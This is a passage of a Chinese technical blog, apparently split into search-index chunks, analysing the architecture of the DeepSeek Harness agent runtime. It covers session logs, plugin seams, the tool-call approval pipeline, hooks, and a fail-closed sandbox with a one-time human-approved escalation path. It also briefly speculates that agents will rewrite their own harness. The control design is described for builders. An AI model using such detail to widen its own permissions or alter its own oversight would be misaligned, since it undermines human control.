~XXXX，故意不带 hash 后缀）替代不透明 cwd hash，共享根可导航；每会话一个拥有目录，未来 artifact（附件 / spill / 协调状态）不换布局。locate() 仍返回固定 transcript 路径，保持 transcript_path 语义——hook 协议、外部消费者都不感知布局变化。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:5","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"4.6 会话数据面的其余部分：一圈派生视图 日志之上还长着一圈独立缝（packages/README.md 的 session / session-query 两组）： projection 缝：派生视图（如消息历史、surface）是独立可替换的服务； log-backed titles：会话标题由 ctx.sessionTitle 的唯一 provider 生成（架构文档扩展表点名\"注册唯一 provider\"）——“标题从哪来\"被做成了可替换插件，而不是散落的特判； telemetry / 报告：同样从日志派生； session-query 家族：逻辑语料、有界读取、血缘关系、事件关系、语义过滤、SQLite FTS——回放/检索与存储解耦成独立的查询缝。 结论很一致：会话数据面是”一条日志 + 一圈派生视图\"，每个视图都是独立缝。要加一种新读法，不动存储。 一句话总结这一节：日志是事实，派生是投影，压缩是日志里的一条新事实，元数据在日志外。这套分层让回放、fork、恢复、检索全部从同一条流上长出来，而不是各做一套状态。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:6:6","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"五、能力缝：换 provider 换整个产品，不换模型契约 “一切皆插件\"如果只是\"能挂插件”，还不够。dsh 的纪律是能力缝（capability seam）三件套（implemented/architecture/2026-06-13-capability-seams.md）： Service Definition：接口声明（如 ctx.web）； Service Provider：实现（如 Exa 搜索、Perplexity 搜索、DeepSeek 搜索、HTTP fetch）； Consumer：通常是模型可见的工具（web_search / web_fetch）。 铁律（implemented/architecture/2026-06-24-web-capability-seam.md）：Provider 永不注册工具。Provider 注册能力，dsh-tool-web 是模型可见名字、描述、JSON schema、提示词的唯一所有者。换 provider 不换模型契约；provider 缺失/配错不导致工具消失——schema 注册时稳定存在，执行时抛结构化 WebError（WEB_PROVIDER_CONFIGURED_MISSING / WEB_PROVIDER_AMBIGUOUS 等）。工具保持可见、执行时报错，而不是让\"加载顺序、凭证状态、HMR 时机\"进入模型契约。 依赖方向（每条都可从包依赖审计）： dsh-tool-web --依赖--\u003e dsh-web（ctx.web） \u003c--依赖-- dsh-web-search-exa / -perplexity / -deepseek consumer interface dsh-web-fetch-http（implementation） 同一个模式铺满全仓库：fs（seam + local impl + 文件工具 + bash-backed grep/glob）、shell（bash executor + sandboxed bash + 模型可见工具）、subprocess（ctx.subprocess）、LSP、skill、compaction、subagent……每个能力一组包，方向单一，不 import 循环。选 provider 也有纪律：配置的 provider id 优先；未配置时只有恰好一个可用 provider 才自动选中，多个则抛 AMBIGUOUS——注册顺序不是产品策略。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:7:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"5.1 工具管线：每个相位一种权威 工具调用不是一条事件，是一条六相位管线（implemented/feature/2026-06-30-interception-extension-points.md）： tools/pre-execute → guard → tools/execute → dispatch → tools/post-execute → finalizeContent → tools/result pre-execute：可扩展的 waterfall 闸门，PreToolDecision 允许 / 拒绝 / 询问；ask 经可选 approval seam 解析，allowed-once 才继续； guard：同步、作用域感知的最终策略，只能拒绝不能强放——监听器顺序救不活被最终不变量禁止的操作； execute：around-dispatch 包装（超时、重试、指标）； post-execute：检查/变换 waterfall，可 block、替换内容、附加上下文； finalizeContent：工具自己最后的 content 不变量（不能改写 isError / 错误身份 / 上下文）； result：纯观察，监听器失败被隔离，不能改变结果。 关键纪律：身份在策略前封存——registry 在策略开始前快照调用者输入、冻结参数、分配不透明 token，日志、UI、工具体看到的是同一个事实。这就是为什么\"pre-tool 入参改写\"迟迟不做：改写必须同时更新历史、审计、展示与执行，是一个独立设计单元而不是一个字段（见 hooks 缺口）。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:7:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"5.2 同款纪律的旁证 per-session cwd（implemented/architecture/2026-07-02-fs-per-session-cwd.md）：bash 工具、文件工具、沙箱策略共享同一\"会话工作区\"解析——含 symlink/.. 或普通 symlink 的路径先按原生文件系统身份解析再做词法拼接，一次调用一个工作区身份；调用方（工具）提供 cwd，provider 不反向依赖 session——“显式 \u003e 隐式\"的包边界约定。 后台任务（ctx.jobs + job_* 控制工具，2026-06-20-generic-long-running-tool-runtime.md）：长任务统一运行时，统一 id、授权与控制词汇。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:7:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"六、ACP：两次演化，从编辑器桥到 automation-only ACP（Agent Client Protocol）是\"外部 agent / 编辑器驱动 harness\"的 JSON-RPC over stdio 契约。dsh 自己实现了 ACP 服务端——方向是\"被驱动”，和\"harness 驱动外部 CLI agent\"是相反的两端。 第一版（archived/feature/2026-06-14-acp-agent-client-protocol.md，已归档）：做的是 Zed 编辑器桥。工具卡片、终端渲染、diff、plan、权限选择器、human elicitation，全翻译进 ACP——决策记录自己承认，它成了一个\"第二交互式产品 UI\"。 7 月 23 日主动退化（implemented/simplification/2026-07-23-acp-automation-only-protocol.md），理由值得原样引用： The ACP bridge had become a second interactive product UI. ACP 桥变成了第二个交互式产品 UI。决策记录说得很白：这些职责重复了 TUI 和 Web client，却把自动化传输耦合进 UI 服务、持久化查询、展示策略和编辑器私有约定。退化的契约刻意保持窄： 版本协商；fresh 文本会话（一连接多会话复用，Map\u003cSessionId, SessionRecord\u003e 精确归属）；每会话一个 in-flight prompt； 只发 committed 的 assistant/message 文本——reasoning、token 流、工具活动、todo、plan、标题全部留在会话日志或 UI 专属通道； 按会话 cancel；one-shot request_permission（机器策略通道，不是人审 UI：只接受精确 agent 对象，grant 不持久化）； 不提供 session load/list/delete、commands、modes、模型切换、plan review、human elicitation。 执行权永远留在 harness：ACP 从不把 shell 执行委托给客户端——第一版决策记录明确拒绝 terminal/create 子协议（终端只做展示投影，_meta.terminal_* 能力门控约定）。stdout 是协议传输通道，因此 app 组合不挂任何 stdout logger，测试守护\"stdout 只出现 framed JSON-RPC\"。 这条演化的教训对所有做 agent 工具链的人都成立：UI 呈现职责和自动化协议必须分家。一个协议一旦承担了\"好看\"，就会同时承担慢、耦合和版本包袱。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:8:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"七、GUI：分层纪律 + 四象限 RPC ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:9:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"7.1 三层分层（implemented/architecture/2026-07-19-gui-layering-and-rpc-protocol.md） 层 包 职责 关键纪律 协议层 dsh-host-apiproxy TS/zod 定义 + {fetch} 抽象 + 客户端基类 浏览器/Node 都能 import；client 不得绕过 api 直连 ctx 组装层 dsh-host-runtime 插件组合 + ApiProxy 集成 + UI 插件挂载 挂哪些插件、什么默认值只在这里决定 载体层 dsh-host-webserver 静态服务 + /api/* 转发 + WebSocket 升级 + __DSH_BOOT__ 注入 只服务 Web；依赖 {fetch} 接口而非 runtime（运行时注入，不是包依赖） 方向纪律可审计：client 包只 import apiproxy 的 /api、/client 两个浏览器安全子路径；未来的 Electron 壳只需要换一个 doFetch 子类。apps/ 只做组装，动态 import，应用间互不加载。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:9:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"7.2 四象限消息模型 每条线上消息按\"谁发起 × 请求/响应\"分四类，与物理信道解耦： 象限 消息 Web 载体 client→server 请求 ClientRequest POST /api/\u003cmethod\u003e server→client 响应 ServerResponse 该 POST 的响应体（恒 HTTP 200） server→client 请求（帧） ServerRequest（approval/question 可应答帧 + session/event 纯推送帧） WebSocket 下行 client→server 响应 ClientResponse（echo rpcId） POST /api/respond 要点： rpcId 品牌化（branded string）：发起方铸造，响应永远 echo，业务代码不铸 id。审批/问答帧的 id 在受理时铸一次、重连回放原样复用——稳定可追溯由此而来； 签名即事实源：RpcMethodMap 从接口方法签名派生全部类型，加一个 unary 方法 = 5 步机械改动（接口签名 → map 一行 → schema 一对 → handler 一行 → 实现）；加帧类型 3 步；加错误码 2 步（RpcErrorDetailsMap 一行 + 一个分支，漏了编译错）； 无 DTO：wire 上的 SessionEvent / ContentBlock 就是核心类型（import type 直达浏览器）；assistant/chunk 即 token 流，没有单独 delta 帧； 双向 zod 校验，未知方法 fail loud（bad-request），没有 not-implemented 回退； reconnect = rebuild：无 resume cursor，按 subscribed.lastSeq 与历史尾部对比补拉一次。 这套东西与其说是\"协议设计\"，不如说是把扩展做成机械流程：方法表即契约、错误码穷举即类型、载体可换即抽象。复杂度是实打实的，但每一分都有审计出口。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:9:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"八、浏览器里跑第二棵 Cordis 树 implemented/architecture/2026-07-19-gui-web-client-architecture.md：host 是一棵 Cordis 树，浏览器是第二棵——同一个 vendored Loader，配一个自研 ClientModuleSystem（懒 CJS 表 + external script 到达 + HMR）补 Node 缺席的底层。 UI 能力全部是 dsh.client 插件：manifest 声明 inject / immediately，host 编 __DSH_BOOT__ 图，两阶段 boot（immediately 预拉 → 全量激活，settled 一次成型，无渐进渲染）； slot 系统组合页面：组件零 Cordis 运行时依赖，一次 register 调用占一个 slot、声明子 slot、声明 store、注入业务面；每个渲染项在独立 error boundary 里； 业务对象层 React-free：事件窗口、流式累积在对象层维护不可变快照（每次业务更新只替换对应键的引用），React 纯投影（uSES + 引用保持）——token 流不抖渲染树，assistant/chunk 每动画帧最多发布一次；Notifier 微任务合批：N 次变更一次通知一次渲染； 会话 scope 观看驱动、惰性建、常驻吃帧：切走再切回即渲染；host 侧会话死亡不拆 scope（冻结为只读视口）。 代价也明说了：loader/module-table 机制是自研基础设施，全程自己养；一次成型 boot 放弃首屏渐进性；双 tsconfig aggregate 让\"哪个编译单元看到这个文件\"成为开发中要回答的问题。这是\"运行时插件化\"的完整价格清单。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:10:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"九、沙箱：landlock-run 与 fail-closed 哲学 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:11:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"9.1 自包含启动器 native/landlock-run/README.md：约 300 行 C11、musl 静态链接、直接调 Landlock 内核 UAPI 的 self-restrict-then-exec 启动器——先给自己装 ruleset 再 exec 目标命令，ruleset 跨 execve 继承：宿主进程不受限，被包装命令及其后代全程受限。内核不能强制时 fail-closed（exit 125，不运行命令）。分发为平台预编译 npm 包 + probe() 功能探测（full / partial / unusable）——探测是功能性的（真的建 ruleset 并强制），不是查版本号。内核 ABI 不够新时报 partial（如旧 ABI 管不了 truncate），不假装 full。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:11:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"9.2 能力缝与平台链（implemented/feature/2026-07-06-sandbox.md） ctx.sandbox 缝：confine(argv, policy) 返回包装后的 argv，consumer 直接 spawn；无可用后端抛 SANDBOX_UNAVAILABLE，绝不静默降级为无沙箱。平台链：Linux 功能探测 bwrap → Landlock；macOS Seatbelt（依赖已废弃的 sandbox-exec CLI，fail-closed 兜底）；Windows restricted-token 链是 2026-08-08 的决策，报告 partial。 关键设计点： denialSignatures + runnerFailureRules：每后端带\"内核拒绝文本特征\"与\"启动器故障特征\"，区分**“命令被沙箱拒”（正常结果）与“沙箱坏了”**（基础设施错误）——这是大多数\"加个 wrapper\"方案忽略的语义层； 模式只声明文件效应：read-only / workspace-write / danger-full-access，网络与进程可见性不承诺——诚实边界； 升级路径 = 一次审批：被拒后模型可带 sandbox_permissions（必须严格更宽）+ justification 重试一次，经 approval seam 人审；grant 不持久化，拒绝即结束，无 allow_always。重试是新的 tool/call（新参数、新结果事实），不是隐藏重入； 每会话模式是会话日志的一部分：sandbox/mode 事件 + effective = findLast(events) ?? config default 折叠——重启免疫、多会话隔离，零外部配置存储。决策记录还留着一次失败实验：把模式写进稳定 system prompt，模型从此拒绝尝试会被拒的操作（首个手工会话 12 轮里 5 轮零工具调用），沙箱变软锁，该方案被移除； 进程内工具（fs/web）经 dsh-fs-sandbox 复用同一模式词汇做路径围栏——argv 包装对闭包 ctx 的函数无意义，它不假装统一。 沙箱是可组合的能力，不是某个 executor 的私藏——四行 cordis.yml 就把一个无沙箱编码 agent 变成沙箱产品路径（examples/acp-agent 默认即此组合）： - id: sandbox name: '@deepseek-ai/dsh-sandbox-local' # 每平台 runner provider（ctx.sandbox） - id: bash name: '@deepseek-ai/dsh-bash-sandbox' # 受限 executor，替换 dsh-bash-local config: mode: workspace-write # 部署默认模式 workspaceRoot: !!js process.cwd() # workspace-write 可写的边界 - id: approval name: '@deepseek-ai/dsh-user-approval' # 升级闸门的通道 config: policy: ask - id: permission name: '@deepseek-ai/dsh-permission-presets' # 产品面的模式/策略选择器 交换对 ctx.shell 的所有消费者透明（bash 工具、hook 命令、后台任务照旧 spawn 包装后的 argv）；删掉 sandbox 与 permission 条目、换回 dsh-bash-local 即退出沙箱，升级字段随之从工具 schema 消失——能力门控在挂载的 executor 上，不在配置上；省略 approval 则一切升级 fail-closed；部分组合在加载时 fail loud。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:11:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"十、hooks：兼容适配器，不是权力工具 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:12:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"10.1 原生层：hook 不是包 “原生 hook\"就是一个订阅 typed 事件的普通插件（implemented/feature/2026-06-30-interception-extension-points.md）： 事件 模式 语义 agent/session-start emit（不能阻塞） 纯通知，可 agent.inject() 种上下文 agent/pre-step waterfall PreStepDecision：enter / reject tools/pre-execute waterfall PreToolDecision：allow / deny / ask tools/post-execute waterfall PostToolDecision：block / 替换 / 附加上下文 agent/turn-stopping serial 要续则 agent.steer() 立场原话：“Anything a bridge can do, a plain plugin can do directly”——原生插件更强大（无序列化边界、全 ctx、typed 返回）。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:12:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"10.2 兼容层：两个桥 + 一个共享协议库 dsh-hooks-claude-code（7 个 hook 点：SessionStart / UserPromptSubmit / PreToolUse / PostToolUse / Stop / SubagentStart / SubagentStop）与 dsh-hooks-codex（5 个）把用户已有的 CC/Codex hooks.json shell 命令钩子翻译到上述 typed 事件。共享库 dsh-hook-protocol 持有真正相同的协议原语（implemented/feature/2026-06-30-hook-protocol-lib.md；事实基础：Codex 引擎刻意实现了 CC hook 协议的子集）： 原语 CC 方言 Codex 方言 matcher 纯 `[A-Za-z0-9_ ]+ 视为字面量（ stdin payload 基础字段（session_id / transcript_path / cwd / hook_event_name）+ 每事件字段，带尾换行；注入 CLAUDE_PROJECT_DIR 等 env snake_case 字段 + turn_id / model / permission_mode，无尾换行；无 env 注入 退出码 exit 0 = stdout lenient JSON；exit 2 = blocking error（stderr 为原因）；其他 = 非阻断错误 同左 合并 多匹配 hook 串行执行，deny \u003e ask \u003e allow 最严格折叠，block 原因 \\n\\n 连接，上下文按序累积 同左 每条 hook 调用写 hook/invoked + hook/result 会话事件（log-only，不上 surface）——拒绝/阻断有持久决策证据。上下文注入一律标 source: plugin（防\"插件上下文冒充用户”）；只加上下文不阻断的 hook 必须 next() 委派，否则短路后续策略监听器——这两条是 hook 语义安全的双保险。配置加载与校验 fail loud：matcher 正则非法 = 整配置拒绝加载、注册零个监听器，不静默跳过；桥读不到/解析不了配置文件则记录后跳过，不 crash boot。 已知缺口（决策记录明示，TODO 挂起）：updatedInput 工具入参改写只记录 + 警告；continue:false 硬停未实现；stop loop-guard（CC 的八次连续 block 上限）未实现；per-session hook config 未实现。宣称\"跑用户既有 hooks 原样执行\"要打折——见文末风险。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:12:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"十一、工程实践：“用 agent 开发 agent\"的样本 dsh 的工程过程本身值得单独记录： Agent Notes 是决策宪法：非平凡改动必须同 PR 附五段式笔记（Problem / Decision / Alternatives / Consequences / Verification），implemented/ 描述已落地现实，归档即冻结、不再是现行权威。仓库里 600+ 条带日期的记录（implemented 状态 500+ 条），从 2026-06-11 到开源日约两个月——每个\"为什么\"都有出处，本文能写出来全靠它； 文档预算门禁（docs/AGENTS.md）：根 AGENTS.md ≤1600 词、architecture.md ≤1800、子树 ≤600，超了先挪内容再提额度——文档也是编译产物； 生成式目录：config catalog / tool catalog / persistence catalog / module graph / Cordis API 全部由脚本从源码生成并 freshness-gated——手写文档会漂移的问题用生成解决； 验证分级：unit → 真实 Loader 组合测试 → keyless snapshot（可回放的真实装配转写，不依赖 mock）→ real-API e2e（无 key 自跳过）→ 每文件 100% coverage 门禁。snapshot 体系让\"模型/用户可见行为\"有确定性回归。 这里有个内在矛盾值得点破：文档预算 + 五段式笔记 + 每文件覆盖率，是\"agent 团队写 agent 产品\"的特化纪律——人肉执行成本极高，但 agent 执行它恰好成本低。读它的文档比读大多数开源项目信息密度高，但也要警惕\"文档即意图”：实现可能落后于文档。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:13:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"十二、观察、风险与对自建工具链的启示 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:14:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"观察 预览版迭代极快、明确破坏兼容：rc.5 + “THERE WILL BE COMPATIBILITY-BREAKING CHANGES”；磁盘格式 bump-and-reject（旧格式拒绝不迁移，SESSION_FORMAT_VERSION 恒 0）；两个月里前门两次摇摆（readline → TUI → Web）、ACP 一次主动退化。产品形状仍在快速漂移——按模式跟踪，别按版本追车。 复杂度换自由度，价格透明：219 包、双 tsconfig aggregate、浏览器第二棵树、自研模块系统——为\"运行时插件化 + 热重载 + 浏览器插件\"付的全套账单，决策记录逐项列了成本。插件化是它的产品本身；对多数工具链，“可配置\"比\"可插件化\"更划算。 默认绑定自家生态：默认 provider 是 DeepSeek API；模型无关靠 ctx.llm 适配器缝，但开箱体验与生态围绕自家 API；第三方插件生态（dsh-plugin topic）刚起步。 vendored Cordis 双刃剑：rescope + 私有补丁 = 上游演进自担；vendor/ 同步有流程但仍是维护负担。 hooks 兼容是子集兼容：入参改写、硬停、loop-guard 均未实现。迁移既有 CC/Codex hooks 前先对照 Known Limitations。 示例 ≠ 产品面：examples/ 的 6 个组合（acp-agent / headless-agent / jsonrpc-agent / mcp-memory / web-cordis / web-schedule）多为 keyless snapshot 载体与组装示范，不是产品承诺——TUI 即因\"无 shipped composition\"被整包删除。 热度信号：开源首日即破 3 万 star 说明\"DeepSeek 牌 harness\"有强市场关注，但关注度不等于稳定性。 它是框架，不是产品：dsh 的入口是 profile / headless / SDK / 插件体系——定位是\"agent 的基础设施”（让生态在它上面建产品），而不是开箱即用的产品；Claude Code / Codex 则是后者的代表（一体式、无插件体系）。这解释了它为什么\"文档比产品成熟\"：框架先证明机制，产品才需要打磨体验。可以把它理解成\"Agent 界的 Kubernetes\"——当年 K8s 同样被批\"太复杂、不是产品\"，但作为基础设施赢了。插件化 vs 一体化是路线之争，胜负取决于场景：一体化的当下体验 vs 可组合的未来灵活性；而它附带的产品面（dsh web）是用框架思维做的产品，恰是\"技术成熟 ≠ 产品成熟\"批评的落点。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:14:1","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"对自建 agent 工具链的启示 机制 启示 事件溯源会话 + 派生历史 session 即 append-only 事件日志，消息历史从日志派生——回放 / 恢复 / telemetry 结构性免费，分叉结构性不可能 surface replace 阴影 上下文压缩 = 追加一条带 replace 标记的汇总事件（sourceEventSeqs 引用被阴影事件）——压缩后回放仍确定，别改日志 元数据出日志（SessionHeader） format version / cwd 是存储关注点，不是可回放状态——避免\"每行日志都是状态\"的教条 策略状态事件化（sandbox/mode + fold） 权限/模式是日志事件 + findLast 折叠——重启免疫、会话隔离，零外部配置存储 landlock-run：fail-closed + probe + denial 可辨识 + 一次更宽重试 进程沙箱的务实样板：静态二进制可直接 spawn；“沙箱拒了命令\"与\"沙箱坏了\"必须可区分；grant 不持久化 ACP automation-only UI 职责与自动化协议分家；自动化契约只放最小文本 / 任务 / 权限面，会话归属与取消按精确对象隔离 四象限 RPC + rpcId 全链路 审批 / 问答帧稳定 id + 重连回放；方法表单一事实源，加方法 = 机械改动，错误码穷举即类型 hooks 协议语义库 matcher / 退出码 / merge 优先级（deny \u003e ask \u003e allow）是现成规格书；拒绝留持久审计事件；hook 配置加载失败 fail loud ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:14:2","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"十三、更深一层：它服务的对象是模型自己 往更深一层看：它服务的对象可能既不是 C 端用户、也不是普通开发者——而是模型自己。让 harness 的一切都可替换、可卸载、可逆转，本质是为\"agent 在运行中优化自己的 harness\"铺路：自进化需要的不只是能力，而是结构上允许被替换。这个视角下，DSH 和 Prime Agent（同样主打 harness 自迭代）指向同一条路线——harness 从\"用模型\"变成\"被模型改”。这也解释了它的设计为何对日常使用显得\"过度\"：那套复杂度不是为今天的人类用户准备的，是为明天的模型准备的。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:15:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"结语 DeepSeek Harness 是一款\"文档成熟度反常地高\"的预览版——它的决策记录让外人能读懂每一个设计取舍的 why，这在开源 agent 工具里是稀缺品。事件溯源会话、surface 阴影压缩、fail-closed 沙箱、automation-only 的 ACP，这四样东西对任何自建 agent 工具链都有直接参考价值；而 219 包的插件化架构本身，是一道\"要不要为自由度付费\"的清醒判断题。 展望到 1.0，值得跟踪的几件事：磁盘格式是否冻结（SESSION_FORMAT_VERSION 何时离开 0）、hooks 已知缺口何时补齐（入参改写 / 硬停 / loop-guard）、Windows 沙箱链能否从 partial 毕业、dsh-plugin 生态能否长出第三方组合——这四件事分别对应稳定性、兼容性、安全边界与生态，恰好是预览版最容易被质疑的四点。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:16:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"附录：获取与安装 # 即装即用（发布版，当前 0.1.0-rc.x） npx @deepseek-ai/dsh web # 启动 Web UI，默认 http://127.0.0.1:3080 npm install -g @deepseek-ai/dsh # 或全局安装后直接敲 dsh # 源码（含全部决策记录，适合跟迭代/研究） git clone https://github.com/deepseek-ai/deepseek-harness.git cd deepseek-harness \u0026\u0026 pnpm install \u0026\u0026 pnpm run build pnpm dsh web # 无头模式跑一次性任务 dsh --profile headless \"运行项目测试并总结结果\" 配置与数据默认在 $DSH_HOME（未设置时为 ~/.dsh）：模型凭据、profile 补丁层、会话日志都在这里。注意：npm 发布版（rc.6）比仓库 master（rc.5）略新，以 npm 为准。 相关链接：GitHub 仓库 · 官方站点（含四种预设模式说明：标准 / PTC / 极简 / 创造）· Cordis 设计论文。 最后重复一遍文首的提醒：它开源首日破 3 万 star 说明关注度极高，但关注度不等于稳定性。对一个 rc.5 的预览版，最合理的态度是：值得吸收的机制大胆吸收，需要兑现的承诺谨慎等待，下个版本见。 ","date":"2026-08-14","objectID":"/posts/2026/08/14/deepseek-harness-deep-dive/:17:0","tags":["tech","ai","deepseek","harness","architecture","event-sourcing","plugin"],"title":"DeepSeek Harness 全拆解：30 小时逼近 10 万 star 的 Agent 运行时，特别在哪","uri":"/posts/2026/08/14/deepseek-harness-deep-dive/"},{"categories":["Tech"],"content":"DeepSeek 开源 deepseek-harness 当晚破 3 万 star。本文实测：headless 秒回、1.1M token 的长思考任务、agent 自我验收闭环、官方内置 130 插件与灰度期社区插件、审批机制与事件溯源日志实证。结论：它不是 Codex 竞品，是组装 Agent 的基础设施。","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"一、上手：五分钟跑通 安装就一条命令，Node.js 装好后： npx @deepseek-ai/dsh web 默认起在 http://127.0.0.1:3080。第一次打开，先弹出一份\"内测声明\"——“DeepSeek Harness 目前的 0.1 版本仍处在面向 Harness 开发者进行测试的阶段”。注意这个措辞：面向 Harness 开发者，不是面向普通用户。这是整件事的题眼，后面再展开。 命令行模式更快验证链路： dsh --profile headless \"用一句话说明什么是 RPC\" 1.2 秒后首 token 到达，125 tok/s，回答正确。模型用的是 DeepSeek-V4-Flash，环境变量里的 key 